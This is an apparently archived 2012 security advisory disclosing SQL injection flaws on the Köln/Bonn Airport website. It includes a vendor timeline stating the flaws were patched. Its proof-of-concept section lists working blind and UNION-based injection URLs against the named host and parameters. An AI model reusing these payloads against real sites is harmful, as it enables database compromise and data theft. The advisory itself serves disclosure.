Document Title: =============== Airport Koeln/Bonn - Blind SQL Injection Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=174 Release Date: ============= 2012-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 174 Product & Service Introduction: =============================== Der Köln Bonn Airport ist einer der größten Verkehrsflughäfen Deutschlands. Jährlich entscheiden sich mehr als 10 Millionen Passagiere für den „Flughafen der kurzen Wege“ – damit liegt er bundesweit auf Platz sechs. Mit etwa 590 000 Tonnen umgeschlagener Luftfracht pro Jahr hält Köln/Bonn hinter Frankfurt Platz zwei. Passagieraufkommen und Frachtumschlag zusammengenommen landet der Airport auf Rang vier.... mehr Als die Low-Cost-Carrier Germanwings und TUIfly den einstigen Regierungsflughafen „Konrad Adenauer“ im Jahr 2002 zu ihrer Heimatbasis erklärten, entwickelte sich Köln/Bonn rasant. Das Passagieraufkommen hat sich binnen fünf Jahren verdoppelt, die Zahl der Reiseziele überschritt die Marke 130. Geographisch liegt der Airport in einer der am dichtesten besiedelten Regionen Europas; etwa 15,5 Millionen Menschen leben im Umkreis von 100 Kilometern. Die hervorragende Verkehrsinfrastruktur sowie die 24-Stunden-Betriebserlaubnis begründen das Wachstumspotenzial, dass der Airport mit seinen drei Start- und Landebahnen hat. In den beiden Terminals gibt es 86 Check-In-Schalter. Über 55 Gates und 19 Fluggastbrücken erreichen Passagiere die Flugzeuge. Die neue Passagierkontrollstelle im Terminal 1 wurde Ende vergangenen Jahres von 10 auf 18 Kontrollspuren erweitert. Köln/Bonn ist ideal über Autobahnen und Schnellstraßen zu erreichen. Seit 2004 verbindet der unterirdische Flughafen-Bahnhof die Terminals 1 und 2 miteinander. Täglich halten dort 170 Züge, unter anderem Intercity, Regional- und S-Bahnen. In drei Parkhäusern stehen zusammen 11 200 Stellplätze zur Verfügung. (Copy of the Vendor Homepage: http://www.airport-cgn.de/main.php?id=49&lang=1) Abstract Advisory Information: ============================== An anonymous Vulnerability Laboratory Researcher discovered multiple critical SQL Injection Vulnerabilities on the official Bonn and Koeln Airport Vendor Website. Vulnerability Disclosure Timeline: ================================== 2011-03-02: Vendor Notification 2011-**-**: Vendor Response/Feedback 2012-01-03: Vendor Fix/Patch 2012-01-20: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ Multiple Blind SQl Injection vulnerabilities are detected on the Köln/Bonn Airport Website. The vulnerability allows remote attackers to inject own sql commands on the affected application dbms. Successful exploitation can result in dbms, website & application compromise. Vulnerable Module(s): [+] Index & Main Picture(s): ../sql1.png Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers without user inter action. For demonstration or reproduce ... Vulnerable Files: index.php ; main.php Vulnerable Value: ?langID= ; &id=4&sm= ; ?id=174&kat= Blind SQL Injection - Reference(s): http://www.airport-cgn.de/barrierefrei/index.php?langID=1+AND+IF%28SUBSTRING%28VERSION%28%29,1,1%29=5,1,2%29=1&id=5&sm=-1%27 http://www.airport-cgn.de/barrierefrei/index.php?langID=1&id=4&sm=11%20order%20by%201-- http://www.koeln-bonn-airport.de/main.php?id=174&kat=1 and 1=2-- SQL Injection - Reference(s): http://www.airport-cgn.de/barrierefrei/index.php?langID=1&id=-1%20union%20all%20select%201,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29-- http://www.koeln-bonn-airport.de/main.php?id=174&kat=-1%20union%20all%20select%201,2,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,4,5,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,7-- Blind SQL Injection - Reference(s): http://www.airport-cgn.de/barrierefrei/index.php?langID=1+AND+IF%28SUBSTRING%28VERSION%28%29,1,1%29=5,1,2%29=1&id=5&sm=-1%27 http://www.airport-cgn.de/barrierefrei/index.php?langID=1&id=4&sm=11%20order%20by%201-- http://www.koeln-bonn-airport.de/main.php?id=174&kat=1 and 1=2-- Solution - Fix & Patch: ======================= 2012-01-03: Vendor Fix/Patch Security Risk: ============== The security risk of the blind sql injection vulnerabilities are estimated as critical. Credits & Authors: ================== Vulnerability Research Laboratory - N/A Anonymous Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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